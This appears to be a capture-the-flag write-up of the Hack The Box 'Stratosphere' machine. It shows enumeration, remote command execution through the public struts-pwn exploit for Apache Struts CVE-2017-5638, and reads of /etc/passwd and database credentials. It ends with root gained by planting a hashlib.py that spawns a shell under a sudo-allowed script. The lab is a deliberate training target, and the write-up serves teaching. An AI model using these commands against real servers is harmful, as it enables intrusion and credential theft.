Hack the Box - Stratosphere Write up

stratosphere

Introduction

I don’t have much to say, stratosphere was a great box. Every step to completing this box was extremely logical, and you could pick up tons of neat small little tricks, coupled with a pretty unique priv. esc vector that I’ve never really seen before. Stratosphere overall was an extremely well built box. Hats off to linted for such a great creation.

Tools Used

Enumeration

Like with every HTB machine, lets begin with an nmap scan against Stratosphere (10.10.10.64)

root@dastinia:~/htb/stratosphere# nmap -sV -sC -Pn 10.10.10.64 -oA strat
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-30 19:35 EDT
Nmap scan report for 10.10.10.64
Host is up (0.18s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey:
|   2048 5b:16:37:d4:3c:18:04:15:c4:02:01:0d:db:07:ac:2d (RSA)
|   256 e3:77:7b:2c:23:b0:8d:df:38:35:6c:40:ab:f6:81:50 (ECDSA)
|_  256 d7:6b:66:9c:19:fc:aa:66:6c:18:7a:cc:b5:87:0e:40 (ED25519)
80/tcp   open  http
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 1114
|     Date: Thu, 30 Aug 2018 23:36:02 GMT
|     Connection: close
|     <!doctype html><html lang="en"><head><title>HTTP Status 404
|     Found</title><style type="text/css">h1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} h2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} h3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} body {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} b {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} p {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;} a {color:black;} a.name {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body>
|   GetRequest:
|     HTTP/1.1 200
|     Accept-Ranges: bytes
|     ETag: W/"1708-1519762495000"
|     Last-Modified: Tue, 27 Feb 2018 20:14:55 GMT
|     Content-Type: text/html
|     Content-Length: 1708
|     Date: Thu, 30 Aug 2018 23:36:01 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <meta charset="utf-8"/>
|     <title>Stratosphere</title>
|     <link rel="stylesheet" type="text/css" href="main.css">
|     </head>
|     <body>
|     <div id="background"></div>
|     <header id="main-header" class="hidden">
|     <div class="container">
|     <div class="content-wrap">
|     <p><i class="fa fa-diamond"></i></p>
|     <nav>
|     class="btn" href="GettingStarted.html">Get started</a>
|     </nav>
|     </div>
|     </div>
|     </header>
|     <section id="greeting">
|     <div class="container">
|     <div class="content-wrap">
|     <h1>Stratosphere<br>We protect your credit.</h1>
|     class="btn" href="GettingStarted.html">Get started now</a>
|     <p><i class="ar
|   HTTPOptions:
|     HTTP/1.1 200
|     Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS
|     Content-Length: 0
|     Date: Thu, 30 Aug 2018 23:36:01 GMT
|     Connection: close
|   RTSPRequest:
|     HTTP/1.1 400
|     Transfer-Encoding: chunked
|     Date: Thu, 30 Aug 2018 23:36:01 GMT
|     Connection: close
|   X11Probe:
|     HTTP/1.1 400
|     Date: Thu, 30 Aug 2018 23:36:02 GMT
|_    Connection: close
| http-methods:
|_  Potentially risky methods: PUT DELETE
|_http-title: Stratosphere
8080/tcp open  http-proxy
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 1114
|     Date: Thu, 30 Aug 2018 23:36:02 GMT
|     Connection: close
|     <!doctype html><html lang="en"><head><title>HTTP Status 404
|     Found</title><style type="text/css">h1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} h2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} h3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} body {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} b {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} p {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;} a {color:black;} a.name {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body>
|   GetRequest:
|     HTTP/1.1 200
|     Accept-Ranges: bytes
|     ETag: W/"1708-1519762495000"
|     Last-Modified: Tue, 27 Feb 2018 20:14:55 GMT
|     Content-Type: text/html
|     Content-Length: 1708
|     Date: Thu, 30 Aug 2018 23:36:01 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <meta charset="utf-8"/>
|     <title>Stratosphere</title>
|     <link rel="stylesheet" type="text/css" href="main.css">
|     </head>
|     <body>
|     <div id="background"></div>
|     <header id="main-header" class="hidden">
|     <div class="container">
|     <div class="content-wrap">
|     <p><i class="fa fa-diamond"></i></p>
|     <nav>
|     class="btn" href="GettingStarted.html">Get started</a>
|     </nav>
|     </div>
|     </div>
|     </header>
|     <section id="greeting">
|     <div class="container">
|     <div class="content-wrap">
|     <h1>Stratosphere<br>We protect your credit.</h1>
|     class="btn" href="GettingStarted.html">Get started now</a>
|     <p><i class="ar
|   HTTPOptions:
|     HTTP/1.1 200
|     Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS
|     Content-Length: 0
|     Date: Thu, 30 Aug 2018 23:36:01 GMT
|     Connection: close
|   RTSPRequest:
|     HTTP/1.1 400
|     Transfer-Encoding: chunked
|     Date: Thu, 30 Aug 2018 23:36:01 GMT
|_    Connection: close
| http-methods:
|_  Potentially risky methods: PUT DELETE
|_http-title: Stratosphere
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at [https://nmap.org/cgi-bin/submit.cgi?new-service :
...[snip]...

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 64.22 seconds

From our enumeration we can observe that the following services are available on the host: SSH (22), HTTP Web service (80), and what appears to be another HTTP Web service (8080).

Enumerating Webservice - Port 80

Visiting the webservice on port 80 in a web browser brings us to the “Stratosphere” Web Application landing page. Most HTB boxes follow some sort of theme, or are a reference to some event. (Keeping in mind that the Equifax breach was still fresh)

"Stratosphere Homepage"

Clicking on the “Getting Started” URL leads us to a “Site under construction” page as seen below.

"Site under construction page"

Enumerating the site with gobuster reveals the following directories. It seems as though this application is running apache tomcat. Attempting to authenticate to the tomcat manager with usual default credentials fails.

root@dastinia:~/htb/stratosphere# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u  http://10.10.10.64/ -x php,html -s 200,204,301,302,307,403 -t 100  | tee gobuster_strato

Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.64/
[+] Threads      : 100
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 307,403,200,204,301,302
[+] Extensions   : .php,.html
=====================================================
/index.html (Status: 200)
/manager (Status: 302)
/GettingStarted.html (Status: 200)
/Monitoring (Status: 302)

Visiting the /Monitorting web content redirects us to to the “Stratosphere Credit Monitoring” Application.

"Stratosphere Credit Monitoring Application"

The application has a unique web file extension of .action which is associated with the Apache Struts url pattern. After some further research, we can learn that it is indeed a well-known extension for the Java WebSphere & Apache Struts applications.

At this particular point if you are familiar with popular infosec news/events, you would know that the U.S Credit Monitoring organization known as “Equifax” was compromised through an unpatched apache struts vulnerability. Based on the similarities, and context clues of the “Stratosphere Credit Monitoring” we can maybe assume that this application is vulnerable to the “Apache Struts” RCE vulnerability.

After some quick googling we come across the following PoC exploit for the Apache Struts, CVE-2017-5638 vulnerability called struts-pwn.

root@dastinia:~/htb/stratosphere# git clone https://github.com/mazen160/struts-pwn.git
Cloning into 'struts-pwn'...
remote: Counting objects: 37, done.
remote: Total 37 (delta 0), reused 0 (delta 0), pack-reused 37
Unpacking objects: 100% (37/37), done.
root@dastinia:~/htb/stratosphere# cd struts-pwn/
root@dastinia:~/htb/stratosphere/struts-pwn# pip install -r requirements.txt
Requirement already satisfied: argparse in /usr/lib/python2.7 (from -r requirements.txt (line 1))
Requirement already satisfied: requests in /usr/lib/python2.7/dist-packages (from -r requirements.txt (line 2))

validating that the application is vulnerble with struts-pwn

root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -h
usage: struts-pwn.py [-h] [-u URL] [-l USEDLIST] [-c CMD] [--check]

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Check a single URL.
  -l USEDLIST, --list USEDLIST
                        Check a list of URLs.
  -c CMD, --cmd CMD     Command to execute. (Default: id)
  --check               Check if a target is vulnerable.
root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action --check

[*] URL: http://10.10.10.64/Monitoring/example/Welcome.action
[*] Status: Vulnerable!
[%] Done.

verifying that we have remote code execution

root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action -c "id; uname -a"

[*] URL: http://10.10.10.64/Monitoring/example/Welcome.action
[*] CMD: id; uname -a
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))
Note: Server Connection Closed Prematurely

uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8)
Linux stratosphere 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u2 (2018-02-21) x86_64 GNU/Linux

[%] Done.

Now that we know we have successful remote code execution, lets try to escalate our privileges further, and look into getting an interactive shell.

Exploitation

Exploiting Apache Struts RCE with Struts-Pwn

reading contents of /etc/passwd

root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action -c "cat /etc/passwd"

[*] URL: http://10.10.10.64/Monitoring/example/Welcome.action
[*] CMD: cat /etc/passwd
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))
Note: Server Connection Closed Prematurely

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...[snip]...
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
lightdm:x:111:113:Light Display Manager:/var/lib/lightdm:/bin/false
pulse:x:112:114:PulseAudio daemon,,,:/var/run/pulse:/bin/false
avahi:x:113:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
saned:x:114:118::/var/lib/saned:/bin/false
richard:x:1000:1000:Richard F Smith,,,:/home/richard:/bin/bash
tomcat8:x:115:119::/var/lib/tomcat8:/bin/bash
mysql:x:116:120:MySQL Server,,,:/nonexistent:/bin/false

[%] Done.

Lets see what files are available to us in the current working directory of this struts application…

listing contents of current working directory

root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action -c "ls -la"

[*] URL: http://10.10.10.64/Monitoring/example/Welcome.action
[*] CMD: ls -la
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))
Note: Server Connection Closed Prematurely

total 24
drwxr-xr-x  5 root    root    4096 Aug 30 19:46 .
drwxr-xr-x 42 root    root    4096 Oct  3  2017 ..
lrwxrwxrwx  1 root    root      12 Sep  3  2017 conf -> /etc/tomcat8
-rw-r--r--  1 root    root      68 Oct  2  2017 db_connect
drwxr-xr-x  2 tomcat8 tomcat8 4096 Sep  3  2017 lib
lrwxrwxrwx  1 root    root      17 Sep  3  2017 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Aug 30 19:46 policy
drwxrwxr-x  4 tomcat8 tomcat8 4096 Feb 10  2018 webapps
lrwxrwxrwx  1 root    root      19 Sep  3  2017 work -> ../../cache/tomcat8

[%] Done.

getting the contents of db_connect

root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action -c "cat db_connect"

[*] URL: http://10.10.10.64/Monitoring/example/Welcome.action
[*] CMD: cat db_connect
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))
Note: Server Connection Closed Prematurely

[ssn]
user=ssn_admin
pass=AWs64@on*&

[users]
user=admin
pass=admin

[%] Done.

It seems as though there is a database running on the server. We can enumerate the mysql database through the apache struts exploit. Using the mysql -e parameter we can run mysql commands non-interactively, and receive the output of the queries through stdout.

root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action --cmd 'mysql --user=admin --password=admin  -e "show databases;"'

[*] URL: http://10.10.10.64/Monitoring/example/Welcome.action
[*] CMD: mysql --user=admin --password=admin  -e "show databases;"
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))
Note: Server Connection Closed Prematurely

Database
information_schema
users

[%] Done.

enumerating the tables within the mysql ‘users’ database

root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action --cmd 'mysql --user=admin --password=admin  -e "use users; show tables;"'

[*] URL: http://10.10.10.64/Monitoring/example/Welcome.action
[*] CMD: mysql --user=admin --password=admin  -e "use users; show tables;"
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))
Note: Server Connection Closed Prematurely

Tables_in_users
accounts

[%] Done.

receiving the contents of the accounts table

root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action --cmd 'mysql --user=admin --password=admin  -e "use users; select * from users.accounts;"'

[*] URL: http://10.10.10.64/Monitoring/example/Welcome.action
[*] CMD: mysql --user=admin --password=admin  -e "use users; select * from users.accounts;"
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))
Note: Server Connection Closed Prematurely

fullName        password        username
Richard F. Smith        9tc*rhKuG5TyXvUJOrE^5CK7k       richard

[%] Done.

Attempting to ssh into the box using the richard account, and the password of 9tc*rhKuG5TyXvUJOrE^5CK7k from the mysql database results in

root@dastinia:~/htb/stratosphere/struts-pwn# ssh richard@10.10.10.64
The authenticity of host '10.10.10.64 (10.10.10.64)' can't be established.
ECDSA key fingerprint is SHA256:tQZo8j1TeVASPxWyDgqJf8PaDZJV/+LeeBZnjueAW/E.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.10.64' (ECDSA) to the list of known hosts.
richard@10.10.10.64's password:
Linux stratosphere 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u2 (2018-02-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Aug 31 12:57:51 2018 from 10.10.14.108
richard@stratosphere:~$ id
uid=1000(richard) gid=1000(richard) groups=1000(richard),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner)
richard@stratosphere:~$ uname -a
Linux stratosphere 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u2 (2018-02-21) x86_64 GNU/Linux
richard@stratosphere:~$ cat user.txt
e610b...[snip]...

Privilege Escalation

Upon sshing into the box we see a script called test.py (contents below) which seems to be some sort of a game where we need to find the plaintext for various hashes, at the end of the line we see a call to os.system('/root/sucess.py') We also seem to be able to run the test.py file as the root user, from the output of the sudo -l command.

richard@stratosphere:~$ sudo -l
Matching Defaults entries for richard on stratosphere:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User richard may run the following commands on stratosphere:
    (ALL) NOPASSWD: /usr/bin/python* /home/richard/test.py

contents of test.py file

richard@stratosphere:~$ cat test.py
#!/usr/bin/python3
import hashlib


def question():
    q1 = input("Solve: 5af003e100c80923ec04d65933d382cb\n")
    md5 = hashlib.md5()
    md5.update(q1.encode())
    if not md5.hexdigest() == "5af003e100c80923ec04d65933d382cb":
        print("Sorry, that's not right")
        return
    print("You got it!")
    q2 = input("Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff\n")
    sha1 = hashlib.sha1()
    sha1.update(q2.encode())
    if not sha1.hexdigest() == 'd24f6fb449855ff42344feff18ee2819033529ff':
        print("Nope, that one didn't work...")
        return
    print("WOW, you're really good at this!")
    q3 = input("How about this? 91ae5fc9ecbca9d346225063f23d2bd9\n")
    md4 = hashlib.new('md4')
    md4.update(q3.encode())
    if not md4.hexdigest() == '91ae5fc9ecbca9d346225063f23d2bd9':
        print("Yeah, I don't think that's right.")
        return
    print("OK, OK! I get it. You know how to crack hashes...")
    q4 = input("Last one, I promise: 9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943\n")
    blake = hashlib.new('BLAKE2b512')
    blake.update(q4.encode())
    if not blake.hexdigest() == '9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943':
        print("You were so close! urg... sorry rules are rules.")
        return

    import os
    os.system('/root/success.py')
    return

question()

Running all the hashes through JTR we discover that the plaintext for the hashes are as follows:

Algo Hash Plaintext
MD5 5af003e100c80923ec04d65933d382cb kaybboo!
SHA1 d24f6fb449855ff42344feff18ee2819033529ff ninjaabisshinobi
MD4 91ae5fc9ecbca9d346225063f23d2bd9 legend72
BLAKE2b512 hash redacted too long! Fhero6610

Successfully solving the challenge results in a Permissioned denied on the the sucess.py script so it seems that this may have been a false flag, and we need to do further enumeration for the proper priv. esc vector.

solving test.py

richard@stratosphere:~$ /usr/bin/python3 /home/richard/test.py
Solve: 5af003e100c80923ec04d65933d382cb
kaybboo!
You got it!
Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff
ninjaabisshinobi
WOW, you're really good at this!
How about this? 91ae5fc9ecbca9d346225063f23d2bd9
legend72
OK, OK! I get it. You know how to crack hashes...
Last one, I promise: 9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943
Fhero6610
sh: 1: /root/success.py: Permission denied

Root via Python Library Hijacking

After researching a bit about privilege escalations related to python, you will come across the following blog-post about how to escalate privileges through python library hijacking

If you are familiar with the concept of DLL Search Order Hijacking for the Windows Operating system it’s a similar concept.

In order to exploit this vulnerability, all we have to do is create a python module (that our target script is importing) in the directory of the script that we are attempting to run. Since the test.py script imports the hashlib library we will create a hashlib.py python module, which will load our code over the original hashlib python module.

contents of our hashlib.py python file

richard@stratosphere:~$ cat hashlib.py
import pty
pty.spawn("/bin/sh")

"Getting Root"

0%